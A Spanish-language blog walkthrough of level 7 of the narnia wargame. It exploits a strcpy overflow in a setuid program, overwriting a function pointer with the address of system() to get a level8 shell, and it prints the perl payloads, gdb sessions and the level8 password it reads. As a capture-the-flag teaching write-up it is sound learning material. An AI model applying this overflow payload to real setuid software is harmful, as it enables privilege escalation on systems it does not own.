systemadmin.es » Programación » Wargame narnia: Nivel 7

Wargame narnia: Nivel 7

Siguiendo con el wargame narnia vamos a ver el nivel 7 como solucionarlo. En este caso se trata de un buffer overflow, pero solo modificando una variable para que se ejecute la función system() en lugar de puts()

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;
//extern puts;
int main(int argc, char *argv[]){
        int  (*fp)(char *)=(int(*)(char *))&puts, i;
        char b1[8], b2[8];

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        if(((unsigned long)fp & 0xff000000) == 0xbf000000)
                exit(-1);
        seteuid(1008);
        fp(b1);

        exit(1);
}

Tenemos dos buffers contiguos que nos dan una capacidad máxima de 16 bytes:

char b1[8], b2[8];
Solo disponemos de 16 bytes

Solo disponemos de 16 bytes

Más adelante se usa strcpy por lo que podemos sobrescribir pasados sus límites:

strcpy(b1,argv[1]);
strcpy(b2,argv[2]);

Vemos que podríamos sobrescribir la variable fp:

int  (*fp)(char *)=(int(*)(char *))&puts, i;

Para luego ejecutar lo que quisiéramos como level8:

seteuid(1008);
fp(b1);

Pero no podemos apuntarlo a los argumentos ni al buffer ya que sus direcciones empiezan por 0xbf:

        if(((unsigned long)fp & 0xff000000) == 0xbf000000)
                exit(-1);

Vemos que carga la glibc:

level7@narnia:~$ ldd /wargame/level7
	linux-gate.so.1 =>  (0xffffe000)
	libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7ec8000)
	/lib/ld-linux.so.2 (0x80000000)

Podríamos substituir la llamada a puts por la de system con LD_PRELOAD con algo como lo siguiente:

level7@narnia:/tmp/meme$ cat putshell.c
#include <stdlib.h>

int puts(char *s)
{
	system(s);
}

level7@narnia:/tmp/meme$ gcc -fPIC -shared putshell.so putshell.c
level7@narnia:/tmp/meme$ cat puts.c
#include <stdlib.h>

int main(int argc, char *argv[])
{
	puts("/bin/sh");

	return 0;
}
level7@narnia:/tmp/meme$ gcc puts.c
level7@narnia:/tmp/meme$ ./a.out
/bin/sh
level7@narnia:/tmp/meme$ LD_PRELOAD="./putshell.so" ./a.out
sh-3.1$ ps -u level7 f
  PID TTY      STAT   TIME COMMAND
 3309 ?        S      0:00 sshd: level7@pts/2
 3310 pts/2    Ss     0:00  \_ -bash
 3377 pts/2    S      0:00      \_ ./a.out
 3378 pts/2    S      0:00          \_ /bin/sh
 3379 pts/2    R+     0:00              \_ ps -u level7 f

Pero como se usa el bit suid sólo se evalúa el LD_PRELOAD para los paths de confianza y evidentemente no tenemos acceso a ellos.

En su lugar podemos intentar averiguar la dirección de la llamada system() y pasar como parámetro /bin/sh para que lo ejecute. Por ejemplo, mediante gdb podemos hacer lo siguiente:

level7@narnia:/tmp/meme$ gdb -q /wargame/level7
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break system
Function "system" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (system) pending.
(gdb) r
Starting program: /wargame/level7
Breakpoint 2 at 0xb7ee8990
Pending breakpoint "system" resolved
/wargame/level7 b1 b2

Program exited with code 0377.
(gdb)

En un inicio no ha podido obtener la dirección de la llamada system() porque aún no se había cargado la glibc, pero al ejecutarlo lo resuelve y nos indica la dirección (0xb7ee8990)

Ponemos un breakpoint en la comparación de la dirección con la máscara:

0x0804862c <main+312>:	mov    0xfffffffc(%ebp),%eax
0x0804862f <main+315>:	and    $0xff000000,%eax
0x08048634 <main+320>:	cmp    $0xbf000000,%eax
0x08048639 <main+325>:	jne    0x8048647 

En el gdb usamos la instrucción siguiente al mov para tener en eax el resultado:

level7@narnia:/tmp/meme$ gdb -q /wargame/level7
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break *0x0804862f
Breakpoint 1 at 0x804862f

Ahora el tema esta en saber si el b1 o el b2 el buffer que esta delante de la siguiente linea de C:

char b1[8], b2[8];

Si suponemos que el b1 va delante (posición de memoria más pequeña) ejecutamos lo siguiente y comprobamos el eax:

(gdb) r `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` b
Starting program: /wargame/level7 `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'` b

Breakpoint 1, 0x0804862f in main ()
(gdb) info registers
eax            0x62626262	1650614882
ecx            0xfffffe46	-442
edx            0xbffffbdc	-1073742884
ebx            0xb7fdfff4	-1208090636
esp            0xbffffa00	0xbffffa00
ebp            0xbffffa38	0xbffffa38
esi            0x0	0
edi            0xb8000cc0	-1207956288
eip            0x804862f	0x804862f <main+315>
eflags         0x246	[ PF ZF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

Como vemos que se nos ha llenado de b (0×62) es que es justamente el contrario

(gdb) r x `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level7 x `perl -e 'print "a"x8; print "b"x8; print "\x90\x89\xee\xb7"x2'`

Breakpoint 1, 0x0804862f in main ()
(gdb) info registers
eax            0xb7ee8990	-1209103984
ecx            0xfffffe5d	-419
edx            0xbffffbdc	-1073742884
ebx            0xb7fdfff4	-1208090636
esp            0xbffffa00	0xbffffa00
ebp            0xbffffa38	0xbffffa38
esi            0x0	0
edi            0xb8000cc0	-1207956288
eip            0x804862f	0x804862f <main+315>
eflags         0x246	[ PF ZF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

En eax tenemos la dirección buena pero acabamos intentando ejecutar las b y la posición de memoria:

(gdb) n
Single stepping until exit from function main,
which has no line number information.
sh: bbbbbbbb??????: command not found

Program exited with code 01.

La memoria entonces tiene un aspecto como el siguiente:

Posición de las variables en memoria

Posición de las variables en memoria

Intentamos entonces introducir /bin/sh a ejecutar, pero deberemos usar el espacio del int i del for:

level7@narnia:/tmp/meme$ perl -e 'print "a"x8; print "/bin/sh"; print "\x90\x89\xee\xb7"x2;' |wc -c
23
level7@narnia:/tmp/meme$ perl -e 'print "a"x8; print "/bin/sh "; print "\x90\x89\xee\xb7"x2;' |wc -c
24

Pero entonces la sh intenta ejecutar la basura que se nos cuela en el string:

level7@narnia:/tmp/meme$ /wargame/level7 x "$(perl -e 'print "a"x8; print "/bin/sh "; print "\x90\x89\xee\xb7"x2;')"
/bin/sh: ??????: No such file or directory

Substituimos la parte correspondiente al b1 con la cadena /bin/sh (restamos 1 porque estamos usando echo que añade el intro):

level7@narnia:/tmp/meme$ echo "$(perl -e 'print "a"x8; print "/bin/sh"; print "\x90\x89\xee\xb7";')" | wc -c
20

Por lo que añadimos un espacio después de /bin/sh y rellenamos con el símbolo de comentario (#) para que no se interprete lo que venga a continuación:

level7@narnia:/tmp/meme$ echo "$(perl -e 'print "a"x8; print "/bin/sh "; print "#"x4; print "\x90\x89\xee\xb7";')" | wc -c
25

Ya tenemos preparada la cadena, la cual como contiene un espacio debemos pasar entre comillas:

level7@narnia:/tmp/meme$ /wargame/level7 x "`perl -e 'print "a"x8; print "/bin/sh "; print "#"x4; print "\x90\x89\xee\xb7";'`"
sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)
sh-3.1$ cat /home/level8/.passwd
aiY+ee5a

Ya tenemos la contraseña para el level8.

Solo queda un nivel

Solo queda un nivel

Un detalle que he encontrado mientras dejaba bonito el artículo a partir de los pastes que voy haciendo mientras pruebo es que mediante el comando print de gdb resulta mucho más limpio obtener la dirección de system():

level7@narnia:/tmp/meme$ gdb -q /wargame/level7
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80484fa
(gdb) r
Starting program: /wargame/level7 

Breakpoint 1, 0x080484fa in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ee8990<system>
(gdb)

Es mucho más limpio que usar el break como he hecho.

El listado de soluciones de otros niveles del wargame de narnia es el siguiente:

Relacionados

Imprimir Imprimir

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>